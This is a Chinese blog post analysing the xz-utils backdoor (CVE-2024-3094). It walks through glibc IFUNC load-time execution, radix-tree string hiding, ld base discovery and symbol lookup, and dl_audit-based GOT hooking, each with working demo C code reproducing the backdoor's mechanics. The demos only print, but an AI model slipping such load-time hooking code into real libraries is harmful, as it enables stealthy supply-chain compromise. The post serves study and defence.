xz-utils后门漏洞(CVE-2024-3094)学习

对CVE-2024-3094漏洞的分析文章网上已经有好几篇了,这里来学习一下在该事件中后门隐藏的奇技淫巧。

技巧一:GLIBC的IFUNC特性

在GLIBC中有一个IFUNC(Indirect Functions)特性,要理解IFUNC的作用,我们先来看一段简单的示例代码,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdio.h>
#include <stdlib.h>

void foo_1()
{
printf("This is foo1\n");
}

void foo_2()
{
printf("This is foo2\n");
}

typedef void (*foo_t)();

void foo() __attribute__((__ifunc__("foo_resolver")));
foo_t foo_resolver()
{
char *path;

printf("do foo_resolver\n");
path = getenv("FOO");
if (path)
return foo_1;
else
return foo_2;
}

void __attribute__((constructor)) initFunc(void) {
printf("do initFunc.\n");
}

int main(int argc, char *argv[])
{
char *env;
printf("Do Main Func.\n");
env = getenv("FOO");
if (env)
printf("do test FOO = %s\n", env);
foo();
return 0;
}

先解释一下上面的代码结构,首先是定义一个IFUNC特性的foo函数:void foo() __attribute__((__ifunc__("foo_resolver")));

foo函数执行的代码由foo_resolver函数决定,我们编写的foo_resolver函数的作用是判断是否设置了环境变量FOO,如果设置了,那么foo函数等于foo_1函数,否则等于foo_2函数。

最后还加了一个构造函数initFunc,来对比一下构造函数和IFUNC函数执行的先后顺序。

接下来我们编译运行上面的代码,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
# 加上-g,方便我们后续调试
$ gcc test.c -o test -g
$ ./test
do foo_resolver
do initFunc.
Do Main Func.
This is foo2
$ FOO=1 ./test
do foo_resolver
do initFunc.
Do Main Func.
do test FOO = 1
This is foo2

从上面的执行结果来看,我们能发现:

  • 执行顺序是foo_resolver -> initFunc -> main
  • foo_resolver函数无法获取FOO环境变量。

接着再从代码层面来看,通过IDAtest程序进行逆向分析,发现foo函数被放在.got表中,并没有发现任何调用foo_resolver函数的代码。说明是由glibc的ld加载时确定foo函数的地址,但是ld是如何知道要调用foo_resolver函数呢?经过研究发现:

1
2
3
4
5
$ readelf -s test |grep foo
19: 00000000000011c3 26 FUNC GLOBAL DEFAULT 16 foo_2
31: 00000000000011a9 26 FUNC GLOBAL DEFAULT 16 foo_1
32: 00000000000011dd 71 IFUNC GLOBAL DEFAULT 16 foo
38: 00000000000011dd 71 FUNC GLOBAL DEFAULT 16 foo_resolver

在二进制文件的符号表中,定义了foo函数的IFUNC标志位,并且定义的地址为foo_resolver函数的地址。

从这我们可以推断出,glibc在处理.got表的地址时,如果发现IFUNC标志位,那么执行该函数,然后把返回值写入.got表中。

下一步,我们对代码进行调试来确认我们的推断,调试过程如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ gdb test
pwndbg> b foo_resolver
pwndbg> r
......
► 0 0x5555555551e9 foo_resolver+12
1 0x7ffff7fd46eb _dl_relocate_object+2443
2 0x7ffff7fd46eb _dl_relocate_object+2443
3 0x7ffff7fd46eb _dl_relocate_object+2443
4 0x7ffff7fe6a63 dl_main+8579
5 0x7ffff7fe283c _dl_sysdep_start+1020
6 0x7ffff7fe4598 _dl_start+1384
7 0x7ffff7fe4598 _dl_start+1384
......
RAX 0x5555555551c3 (foo_2) ◂— endbr64
► 0x555555555223 <foo_resolver+70> ret <0x7ffff7fd46eb; _dl_relocate_object+2443>
pwndbg> x/10gx 0x3FD0 + 0x555555554000 - 0x10
0x555555557fc0 <puts@got.plt>: 0x00007ffff7e0ce50 0x00007ffff7dec6f0
0x555555557fd0 <*ABS*@got.plt>: 0x0000000000001060 0x00007ffff7db5dc0
pwndbg> b main
pwndbg> x/10gx 0x3FD0 + 0x555555554000 - 0x10
0x555555557fc0 <puts@got.plt>: 0x00007ffff7e0ce50 0x00007ffff7dec6f0
0x555555557fd0 <*ABS*@got.plt>: 0x00005555555551c3 0x00007ffff7db5dc0

在上面的调试内容中,我们可以得知:

  • foo_resolver函数的调用流程大概是:_dl_start->dl_main->_dl_relocate_object -> foo_resolver
  • *ABS*@got.plt就是foo函数的got表,该got表的值在调用完foo_resolver函数后写入。

到这,可以解答前面的一个疑惑:由于foo_resolver函数是在dl链接阶段被加载,这个时候环境变量还没被glibc加载,所以我们调用的getenv函数都是返回NULL,导致最终返回的都是foo_2函数。

到此我们可以得出结论:GLIBC的IFUNC特性,可以让我们像使用构造函数(__attribute__((constructor)))一样,在程序的LD加载阶段时自动运行,xz后门就利用该特性,在liblzma.so依赖库文件被加载时,自动运行后门代码。

另外,需要注意的是,IFUNC特性在glibc 2.11.1版本以上才被支持,如果要编译含有IFUNC功能的代码,需要使用GCC 4.6以上的编译器,并且要求GNU Binutils版本在2.20.1以上。

我们还可以写一个脚本简单的check一下所有包含IFUNC的so库:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python3
# -*- coding=utf-8 -*-

import os
import sys
from elftools.elf.elffile import ELFFile
from elftools.elf.sections import SymbolTableSection

def find_all_files(path):
for root, dirs, files in os.walk(path):
for file in files:
yield os.path.join(root, file)

def is_elf(file):
try:
with open(file, "rb") as f:
data = f.read(4)
except:
return False
return data == b"\x7FELF"

def get_ifunc_symbols(file_path):
with open(file_path, 'rb') as f:
elffile = ELFFile(f)
ifunc_symbols = []
for section in elffile.iter_sections():
# 只处理符号表部分
if isinstance(section, SymbolTableSection):
for symbol in section.iter_symbols():
# 检查符号类型是否为 'STT_GNU_IFUNC'
if symbol['st_info']['type'] == 'STT_LOOS':
ifunc_symbols.append(symbol)
return ifunc_symbols

for file in find_all_files(sys.argv[1]):
if is_elf(file):
symbols = get_ifunc_symbols(file)
if symbols:
print(f"{file} found ST_IFUNC")
for symbol in symbols:
print(f"Name: {symbol.name}, Address: {hex(symbol['st_value'])}")

使用方法如下:

1
2
3
4
5
6
7
8
9
10
11
$ python3 check.py /lib
/lib/x86_64-linux-gnu/libz.so.1.2.11 found ST_IFUNC
Name: crc32_z, Address: 0x75e0
/lib/x86_64-linux-gnu/libz.so found ST_IFUNC
Name: crc32_z, Address: 0x75e0
/lib/x86_64-linux-gnu/libmvec.so.1 found ST_IFUNC
Name: _ZGVdN8vv_atan2f, Address: 0x8450
Name: _ZGVdN4v_atan, Address: 0x6a90
Name: _ZGVbN4v_acosf, Address: 0x7e50
Name: _ZGVdN8v_sinf, Address: 0x8780
......

最后还要考虑一点,在上面的例子中,因为IFUNC函数是在执行程序中,所以下断点是很容易的,但是如果遇到需要调试so库中的IFUNC函数时,就需要迂回的下断点。

随便找了一个示例代码[1],编译命令使用:gcc test2.c -o test2 -llzma -g

然后使用patchelf工具,修改二进制程序的RPATH为liblzma.so的路径:patchelf --set-rpath /home/ubuntu/xz-utils-vul/src/liblzma/.libs/ test2

接着写一个.gdbinit脚本,可以直接断到lzma_crc64函数:

1
2
3
4
5
6
7
8
9
10
11
$ cat .gdbinit
b _start
r
b _dl_relocate_object
c
b *0x7ffff7f84580 (自行计算lzma_crc64地址)
c
c
$ gdb test2
pwndbg> source .gdbinit
► 0x7ffff7f84580 endbr64

技巧二:利用Radix Tree隐藏字符

经常做逆向分析的都知道,很多时候都是通过特殊字符串来定位代码。但是在xz事件后门文件liblzma.so中,却没有发现任何异常字符串,就比如,现在我们都知道xz后门是针对sshd服务的关键函数进行hook,但是在liblzma.so中却不包含任何sshd相关的字符串,因为xz后门利用到了radix tree算法。

已经有人针对该算法把liblzma.so中的字符串提取出来了,可以参考提取出的字符串[2]和提取字符串的代码[3]

上面的代码是针对该算法的逆向过程,我学习了一下该算法,用python写了一个正向过程的代码,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/env python3
# -*- coding=utf-8 -*-

class RadixObject:
louint64: int
hiuint64: int
childPtr: dict
def __init__(self, lo: int, hi: int):
self.louint64 = lo
self.hiuint64 = hi
self.endPoint = 0
self.childPtr = {}
# 判断char是否在当前链表中,char的范围是0-128
def isExist(self, char: int) -> bool:
if char < 0 or char >= 128:
raise Exception(f"isExist: char value err, char = {char}")
if char < 0x40:
return (self.louint64 >> char) & 1 == 1
else:
char -= 0x40
return (self.hiuint64 >> char) & 1 == 1
def getChild(self, char: int):
if char >= 0x40:
char -= 0x40
return self.childPtr[char]

class RadixTree:
def __init__(self):
self.rootRadix: RadixObject = RadixObject(0, 0)

def insertStr(self, string: bytes) -> int:
if not self.checkValidStr(string):
return -1
currentRadix = self.rootRadix
for i in string[:-1]:
currentRadix = self.__add(currentRadix, i)
self.__add(currentRadix, string[-1], True)
return 1

def searchTest(self, string: bytes) -> bool:
if not self.checkValidStr(string):
return False
currentRadix = self.rootRadix
for c in string[:-1]:
if not currentRadix.isExist(c):
return False
currentRadix = currentRadix.getChild(c)
if currentRadix.isExist(string[-1]) and (currentRadix.endPoint >> string[-1]) & 1 == 1:
return True
return False

def __add(self, radix: RadixObject, char: int, last: bool = False)->RadixObject:
if last:
radix.endPoint |= 1 << char
if not radix.isExist(char):
if char < 0x40:
radix.louint64 |= 1<<char
else:
char -= 0x40
radix.hiuint64 |= 1<<char
radix.childPtr[char] = RadixObject(0, 0)
else:
if char >= 0x40:
char -= 0x40
return radix.childPtr[char]

# string: ascii 0 - 128
def checkValidStr(self, string: bytes) -> bool:
for i in string:
if i >= 0 and i < 128:
continue
return False
return True

def main():
rd = RadixTree()
rd.insertStr(b"ABCDEFG")
rd.insertStr(b"IIBBJ")
rd.insertStr(b"ABCDE")
print(rd.searchTest(b"ABCDE"))

if __name__ == "__main__":
main()

上面编写的radix tree算法和xz后门的相比简化了压缩储存数据的部分,并且由于是用python编写,所以看着也更简单了。

研究xz后门都是自行本地编译liblzma.so文件,由于编译环境不同,所以编译出来的偏移地址会有些许区别,因此下面根据github上提取字符串的代码来简单讲解一下radix tree算法的逻辑。

在代码中,有两个内存表:tbl_1_memtbl_2_mem,都是从IDA中提取出来的,使用顺序是从后往前。

其中tbl_1_mem表中的数据记录了flag信息和指向child链表的指针,一个结构体占4字节。

tbl_2_mem表则是储存着字符信息,一个结构体占16字节,和上面我写的正向算法代码中,相当于RadixObject对象的louint64hiuint64。一共16字节,共128bit,所以可以表示128个字符,正好ascii码的范围是从0-127,所以一个结构体可以表示任意一个ascii码。

在代码中定义了tbl_2的起始偏移为:tbl_2_offs=0x760,我们再计算一下表的大小和其差值:len(tbl_2_mem) - 0x760 = 16

可以看出radix tree的根链表在tbl_2的最后16字节中,还可以再算算tbl_1:

1
2
3
4
5
6
>>> popcount(tbl_2[0]) + popcount(tbl_2[1])
30 # 计算根链表中储存着几个字符,也就是储存的字符串的起始字符有几种
>>> len(tbl_1_mem) - 0x13e8
120
>>> 120 / 4
30 # 从这可以看出tbl_1中最后120字节储存着根链表的30个字符的标志信息和子链表的指针

如果要实现xz后门中radix tree算法的效果,首先要把上面提供的python代码转换为C代码,接着需要对内存进行压缩,比如在python代码中,子链表的key直接设置为字符的ascii码,在xz后门中,key设置的是从0开始的第n个字符。

radix tree算法可以很好的隐藏我们代码中的字符串信息,无需把字符串编译到代码中,有点类似签名验证,都是不可逆的算法,区别就是radix tree算法能很容易的通过爆破还原出所有的字符串信息。

技巧三:获取所有依赖库信息

这里简单阐述一下xz后门获取依赖库信息的方法。

  1. 获取__tls_get_addr函数的.plt表地址,根据该地址获取到其.got表地址,从而获取到__tls_get_addr函数的实际地址。
  2. 由于__tls_get_addr函数是位于ld中的函数,所以可以根据该地址爆破出ld的基地址。
  3. 获取到ld的基地址后,就可以匹配ld的ELF头信息,这样就能很容易的匹配到ld的任意符号地址。
  4. 首先匹配的是ld的__libc_stack_end指针,该变量指向栈底,正常情况下,该地址之后只储存着程序执行的参数和环境变量。
  5. 匹配到__libc_stack_end地址后,就可以获取到执行参数和环境变量,对参数和环境变量进行一些过滤,满足条件的才进入后续执行。
  6. 接着匹配ld的_r_debug指针,该指针储存着r_debug结构体,在该结构体中储存着struct link_map *r_map结构体,r_map结构体储存着所有依赖库的地址。
  7. 根据r_map结构体,就能直接匹配到libc.so, libcrypto, sshd等文件的内存地址,知道地址后,根据第三步的步骤,就能获取到任意想匹配的符号地址,比如RSA_public_decrypt函数地址。

上面的步骤看着很简单,但是代码写起来还是比较复杂的,我根据上面的逻辑,简化了一个demo代码出来,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
// testlib.c
// 编译命令:gcc testlib.c -o libtest.so -shared -fPIC -g
#include "testlib.h"

extern const void * __tls_get_addr ();
extern void *_GLOBAL_OFFSET_TABLE_;
void *ld_base_addr = 0;

void foo_1()
{
printf("This is foo1\n");
}

void foo_2()
{
printf("This is foo2\n");
}

void *findLdBase()
{
void * tls_get_addr = __tls_get_addr;
void *ld_end_addr = 0;
ld_base_addr = (void *)((uint64_t)tls_get_addr & 0xFFFFFFFFFFFFF000);
ld_end_addr = ld_base_addr - 0x20000;
while (memcmp(ld_base_addr, "\x7F""ELF", 4))
{
ld_base_addr -= 0x1000;
if (ld_base_addr == ld_end_addr) {
printf("findLdBase Error.\n");
return (void *)-1;
}
}
printf("success find ld base addr: %p\n", ld_base_addr);
return ld_base_addr;
}

void *findSymAddr(void *addr, const char *symbol) {
Elf64_Ehdr *ehdr = (Elf64_Ehdr *)addr;
Elf64_Phdr *phdr = (Elf64_Phdr *)(addr + ehdr->e_phoff);
Elf64_Dyn *dyn = NULL;
Elf64_Sym *symtab = NULL;
char *strtab = NULL;
void (*symAddr)();

for (int i = 0; i < ehdr->e_phnum; i++) {
if (phdr[i].p_type == PT_DYNAMIC) {
dyn = (Elf64_Dyn *)(addr + phdr[i].p_vaddr);
break;
}
}

if (dyn == NULL) {
printf("Dynamic segment not found.\n");
return NULL;
}

for (int i = 0; dyn[i].d_tag != DT_NULL; i++) {
if (dyn[i].d_tag == DT_SYMTAB) {
symtab = (Elf64_Sym *)(dyn[i].d_un.d_ptr);
}
if (dyn[i].d_tag == DT_STRTAB) {
strtab = (char *)(dyn[i].d_un.d_ptr);
}
}

if (symtab == NULL || strtab == NULL) {
printf("Symbol table or string table not found.\n");
return NULL;
}

for (int i = 0; &symtab[i] < strtab; i++) {
if (strcmp(strtab + symtab[i].st_name, symbol) == 0) {
symAddr = (void *)addr + symtab[i].st_value;
printf("Symbol %s found at address %p\n", symbol, symAddr);
return symAddr;
}
}

printf("Symbol %s not found.\n", symbol);
return NULL;
}

void getArgsEnv(void *stackAddr[])
{
char **argv = *(char **)stackAddr;
char **envp;
int i;
int argc = (int)argv[0];
printf("argc = %d\n", argc);
for (i=1; argv[i] != 0; i++)
{
printf("argv[%d] = %s\n", i-1, argv[i]);
}
envp = &argv[i+1];
for (i=0; envp[i] != 0; i++)
{
printf("envp[%d] = %s\n", i, envp[i]);
}
}

void getLinkMap(struct link_map *r_map)
{
char *l_name;
while (1)
{
printf("name = %s, addr = %p, ld addr = %p\n", r_map->l_name, r_map->l_addr, r_map->l_ld);
if (strstr(r_map->l_name, "libc.so.6"))
{
findSymAddr(r_map->l_addr, "system");
}
if (!r_map->l_next)
break;
r_map = r_map->l_next;
}
}

int doBackdoor()
{
int status;
void (*ldBaseAddr)();
void (*libc_stack_end)();
struct r_debug* rc_debug;

ldBaseAddr = findLdBase();
if ((int64_t)ldBaseAddr <= 0)
goto error;
libc_stack_end = findSymAddr(ldBaseAddr, "__libc_stack_end");
getArgsEnv(libc_stack_end);
rc_debug = findSymAddr(ldBaseAddr, "_r_debug");
getLinkMap(rc_debug->r_map);
error:
return -1;
}

void foo() __attribute__((__ifunc__("foo_resolver")));
foo_t foo_resolver()
{
char *path;
printf("do foo_resolver\n");
doBackdoor();
path = getenv("PATH");
if (path)
return foo_1;
else
return foo_2;
}

再随便写一个main函数:

1
2
3
4
5
6
7
8
9
// test4.c
// 编译命令:gcc test4.c -o test4 -L. -ltest
#include "testlib.h"

int main(int argc, char *argv[])
{
foo();
return 0;
}

头文件内容为:

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <elf.h>
#include <link.h>

typedef void (*foo_t)();

foo_t foo_resolver();
void foo_2();
void foo_1();

运行结果如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ LD_LIBRARY_PATH=. ./test4
do foo_resolver
success find ld base addr: 0x7f8a42a9f000
Symbol __libc_stack_end found at address 0x7f8a42ad8a90
argc = 1
argv[0] = ./test4
envp[0] = USER=ubuntu
......
Symbol _r_debug found at address 0x7f8a42ada118
name = , addr = 0x5624d7d18000, ld addr = 0x5624d7d1bdb8
name = linux-vdso.so.1, addr = 0x7ffe2979c000, ld addr = 0x7ffe2979c3e0
name = ./libtest.so, addr = 0x7f8a42a98000, ld addr = 0x7f8a42a9bdf0
name = /lib/x86_64-linux-gnu/libc.so.6, addr = 0x7f8a42869000, ld addr = 0x7f8a42a82bc0
Symbol system found at address 0x7f8a428b9d70
name = /lib64/ld-linux-x86-64.so.2, addr = 0x7f8a42a9f000, ld addr = 0x7f8a42ad8e80
This is foo2

上面的代码属于xz后门的简化版,只实现了核心功能,并且能直接用库函数的就直接用,在xz后门中,基本是没有使用库函数,都是自己实现的所有功能。

下面简单梳理一下上面代码的主要逻辑:

  1. 通过__tls_get_addr地址爆破出ld的基地址。
  2. 实现一个函数,能通过ELF文件的内存基地址,找到任意符号地址。
  3. 搜索出__libc_stack_end地址,然后根据该地址输出参数和环境变量信息。
  4. 搜索出_r_debug地址,通过该地址找到所有加载的程序的信息。
  5. xz后门在sshd程序中找到RSA_public_decrypt地址,模拟成在libc中找到system函数地址。

注意事项

  1. name = 空白的为主程序。
  2. findSymAddr函数是使用调教过后的GPT4自动生成。
  3. 在我编写的代码是直接获取__tls_get_addr函数.got表的地址,所以可以直接获取函数的实际地址。但是在xz后门中,是获取__tls_get_addr函数.plt.got的地址,暂时没明白是如何实现的,使用命令readelf -r liblzma_la-crc64_fast.o(存在后门),发现有一个重定向表,暂时也不清楚是如何实现的:
1
2
3
4
Relocation section '.rela.rodata.rc_encode' at offset 0x157c8 contains 2 entries:
Offset Info Type Sym. Value Sym. Name + Addend
000000000000 010e0000001f R_X86_64_PLTOFF64 0000000000000000 __tls_get_addr + 0
000000000008 00d400000019 R_X86_64_GOTOFF64 0000000000000000 .Lx86_coder_destroy + 0

研究了一下,没明白在不patch二进制的情况下,如何在.rodata段编译一个R_X86_64_PLTOFF64/R_X86_64_GOTOFF64类型的值。

技巧四:hook其他依赖库函数

很多文章都有说到xz后门是利用dl_audit机制来进行函数hook的,但是基本上都认为大家都知道该机制,并没有讲解该机制流程。

所以,下面将对xz后门利用dl_audit机制进行函数hook的流程进行说明。

有一篇参考文章[4]中说是在_dl_audit_symbind_alt函数中调用install_hooks函数,但是在ubuntu22.04的环境上调试发现,调用的是_dl_audit_symbind,并不会调用到_dl_audit_symbind_alt函数。

位于elf/do-rel.h文件中的elf_dynamic_do_Rel函数会调用_dl_audit_symbind,代码如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// elf/do-rel.h
......
elf_machine_rel (map, scope, r, sym, rversion, r_addr_arg,
skip_ifunc);
#if defined SHARED && !defined RTLD_BOOTSTRAP
if (ELFW(R_TYPE) (r->r_info) == ELF_MACHINE_JMP_SLOT
&& GLRO(dl_naudit) > 0)
{
struct link_map *sym_map
= RESOLVE_MAP (map, scope, &sym, rversion,
ELF_MACHINE_JMP_SLOT);
if (sym != NULL)
_dl_audit_symbind (map, NULL, sym, r_addr_arg, sym_map);
}
#endif
}
......

通过上面代码发现,首先需要满足GLRO(dl_naudit) > 0条件才会进入_dl_audit_symbind函数。

_dl_audit_symbind位于elf/dl-audit.c文件中,部分代码如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// elf/dl-audit.c
void
_dl_audit_symbind (struct link_map *l, struct reloc_result *reloc_result,
const ElfW(Sym) *defsym, DL_FIXUP_VALUE_TYPE *value,
lookup_t result)
{
bool for_jmp_slot = reloc_result == NULL;

/* Compute index of the symbol entry in the symbol table of the DSO
with the definition. */
unsigned int boundndx = defsym - (ElfW(Sym) *) D_PTR (result,
l_info[DT_SYMTAB]);
if (!for_jmp_slot)
{
reloc_result->bound = result;
reloc_result->boundndx = boundndx;
}

if ((l->l_audit_any_plt | result->l_audit_any_plt) == 0)
{
/* Set all bits since this symbol binding is not interesting. */
if (!for_jmp_slot)
reloc_result->enterexit = (1u << DL_NNS) - 1;
return;
}
......
for (unsigned int cnt = 0; cnt < GLRO(dl_naudit); ++cnt)
{
/* XXX Check whether both DSOs must request action or only one */
struct auditstate *l_state = link_map_audit_state (l, cnt);
struct auditstate *result_state = link_map_audit_state (result, cnt);
if ((l_state->bindflags & LA_FLG_BINDFROM) != 0
&& (result_state->bindflags & LA_FLG_BINDTO) != 0)
{
if (afct->symbind != NULL)
{
flags |= for_jmp_slot ? LA_SYMB_NOPLTENTER | LA_SYMB_NOPLTEXIT
: 0;
new_value = afct->symbind (&sym, boundndx,
&l_state->cookie,
&result_state->cookie, &flags,
strtab2 + defsym->st_name);
......

经过研究发现_dl_audit_symbind函数必须得满足(l->l_audit_any_plt | result->l_audit_any_plt) == 0条件,还有l_stateresult_state满足相应条件,才能进入后续流程调用afct->symbind函数。

比较关键的条件都讲完了,现在说说xz后门hook函数的逻辑。

  1. 首先在ld中找到_dl_audit_symbind_alt符号,然后在该函数的内存中通过内置的反汇编函数,找到GLRO(dl_audit)GLRO(dl_naudit)变量的地址。(这里可以有个猜测,那篇参考文章[4]这部分分析错了,xz后门是通过_dl_audit_symbind_alt函数匹配出两个变量的地址,而不是之后会调用该函数。)
  2. 把dl_naudit赋值为1,dl_audit结构体的symbind64函数指针设置为install_hook函数。
  3. r_debug结构体中匹配出的sshd的ELF文件的link_map结构体,设置其成员变量l_audit_any_plt的值为1。
  4. ld在处理重定向表时,首先处理的是so库的,在处理liblzma.so的重定向表是,调用到后门函数,做了上面这部分处理。
  5. 最后在处理sshd的重定向表时,会进入到_dl_audit_symbind函数的流程,处理每个重定向表都会调用该函数,随后在install_hook函数对符号名进行过滤,如果匹配到RSA_public_decrypt, EVP_PKEY_set1_RSA, RSA_get0_key符号时,会修改sshd的got表,修改为其的hook函数,并且修改改符号的Elf64_Sym结构体。

下面写一个简单的demo来模拟一下xz后门的上述逻辑过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
// testlib.c
// gcc -g testlib.c -o libtest.so -shared -fPIC
#include "testlib.h"

extern const void * __tls_get_addr ();
extern void *_GLOBAL_OFFSET_TABLE_;
void *ld_base_addr = 0;

struct audit_ifaces dl_audit;
void **aes_func_got;

void foo_1()
{
printf("This is foo1\n");
}

void foo_2()
{
printf("This is foo2\n");
}

void hook_aes_func(char *key, int length, char *enc_key)
{
printf("do hook_aes_func\nlength = %d\n", length);
}

uint64_t install_hook(Elf64_Sym *a1, void *a2, void *a3, void *a4, void *a5, char *sym_name)
{
printf("do install_hook, sym_name = %s\n", sym_name);
if (!strcmp(sym_name, "AES_set_encrypt_key"))
{
*aes_func_got = &hook_aes_func;
a1->st_value = &hook_aes_func;
}
return a1->st_value;
}

void *findLdBase()
{
void * tls_get_addr = __tls_get_addr;
void *ld_end_addr = 0;
ld_base_addr = (void *)((uint64_t)tls_get_addr & 0xFFFFFFFFFFFFF000);
ld_end_addr = ld_base_addr - 0x20000;
while (memcmp(ld_base_addr, "\x7F""ELF", 4))
{
ld_base_addr -= 0x1000;
if (ld_base_addr == ld_end_addr) {
printf("findLdBase Error.\n");
return (void *)-1;
}
}
printf("success find ld base addr: %p\n", ld_base_addr);
return ld_base_addr;
}

void *findSymAddr(void *addr, const char *symbol, int mode) {
Elf64_Ehdr *ehdr = (Elf64_Ehdr *)addr;
Elf64_Phdr *phdr = (Elf64_Phdr *)(addr + ehdr->e_phoff);
Elf64_Dyn *dyn = NULL;
Elf64_Sym *symtab = NULL;
char *strtab = NULL;
void (*symAddr)();
Elf64_Rela* relas = NULL;
int rela_count = 0;

for (int i = 0; i < ehdr->e_phnum; i++) {
if (phdr[i].p_type == PT_DYNAMIC) {
dyn = (Elf64_Dyn *)(addr + phdr[i].p_vaddr);
break;
}
}

if (dyn == NULL) {
printf("Dynamic segment not found.\n");
return NULL;
}

for (int i = 0; dyn[i].d_tag != DT_NULL; i++) {
if (dyn[i].d_tag == DT_SYMTAB) {
symtab = (Elf64_Sym *)(dyn[i].d_un.d_ptr);
}
else if (dyn[i].d_tag == DT_STRTAB) {
strtab = (char *)(dyn[i].d_un.d_ptr);
}
else if (dyn[i].d_tag == DT_JMPREL) {
relas = (Elf64_Rela*) ((char*)dyn[i].d_un.d_ptr);
}
else if (dyn[i].d_tag == DT_PLTRELSZ) {
rela_count = dyn[i].d_un.d_ptr / sizeof(Elf64_Rela);
}
}

if (symtab == NULL || strtab == NULL) {
printf("Symbol table or string table not found.\n");
return NULL;
}

if (mode == 1 && relas == NULL)
{
printf("rela table not found.\n");
return NULL;
}

if (mode == 1)
{
for (int i = 0; i < rela_count; i++) {
Elf64_Sym* sym = &symtab[ELF64_R_SYM(relas[i].r_info)];
if (strcmp(strtab + sym->st_name, symbol) == 0) {
symAddr = (void *)addr + relas[i].r_offset;
printf("Symbol %s got found at address %p\n", symbol, symAddr);
return symAddr;
}
}
}
else {
for (int i = 0; &symtab[i] < strtab; i++) {
if (strcmp(strtab + symtab[i].st_name, symbol) == 0) {
symAddr = (void *)addr + symtab[i].st_value;
printf("Symbol %s found at address %p\n", symbol, symAddr);
return symAddr;
}
}
}
printf("Symbol %s not found.\n", symbol);
return NULL;
}

void setAuditPtr(struct link_map *r_map)
{
// set l_audit_any_plt
char *l_name;
struct link_map *elf_ptr = 0;
struct link_map *libcrypto_ptr = 0;
char plt;
while (1)
{

if (r_map->l_name && *(char *)r_map->l_name == 0)
{
printf("name = %s, addr = %p, ld addr = %p\n", r_map->l_name, r_map->l_addr, r_map->l_ld);
elf_ptr = r_map;
aes_func_got = findSymAddr(r_map->l_addr, "AES_set_encrypt_key", 1);
}
else if (strstr(r_map->l_name, "libcrypto.so.3"))
{
printf("name = %s, addr = %p, ld addr = %p\n", r_map->l_name, r_map->l_addr, r_map->l_ld);
libcrypto_ptr = r_map;
}
if (!r_map->l_next)
break;
r_map = r_map->l_next;
}
if (!elf_ptr)
{
printf("get elf link_map error\n");
return;
}
printf("success get elf link_map = %p\n", elf_ptr);
// 因为导入的是/usr/include/link.h中的struct link_map结构体,不存在l_audit_any_plt变量,直接使用glibc的elf/link.h需要解决太多错误,所以这里直接用偏移。
plt = *((char *)elf_ptr + 0x31e);
*((char *)elf_ptr + 0x31e) = plt | 1;

// 设置bindflags
*((char *)elf_ptr + 0x488 + 8) = 2;
*((char *)libcrypto_ptr + 0x488 + 8) = 1;
}

int doBackdoor()
{
int status;
void (*ldBaseAddr)();
void (*libc_stack_end)();
void *rtld_global_ro;
struct r_debug* rc_debug;
int *dl_naudit;
struct audit_ifaces **dl_audit_ptr;

ldBaseAddr = findLdBase();
if ((int64_t)ldBaseAddr <= 0)
goto error;
rc_debug = findSymAddr(ldBaseAddr, "_r_debug", 0);
setAuditPtr(rc_debug->r_map);

rtld_global_ro = findSymAddr(ldBaseAddr, "_rtld_global_ro", 0);
dl_naudit = rtld_global_ro + 920;
*dl_naudit = 1;
dl_audit_ptr = rtld_global_ro + 912;
dl_audit.symbind64 = install_hook;
*dl_audit_ptr = &dl_audit;
error:
return -1;
}

void foo() __attribute__((__ifunc__("foo_resolver")));
foo_t foo_resolver()
{
char *path;
printf("do foo_resolver\n");
doBackdoor();
path = getenv("PATH");
if (path)
return foo_1;
else
return foo_2;
}

还有一个主程序,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// test5.c
// gcc test5.c -o test5 -L. -ltest -lcrypto
#include "testlib.h"
#include <openssl/aes.h>

void importCryptoDemo()
{
// The key to use for encryption
AES_KEY enc_key;
unsigned char key[AES_BLOCK_SIZE];
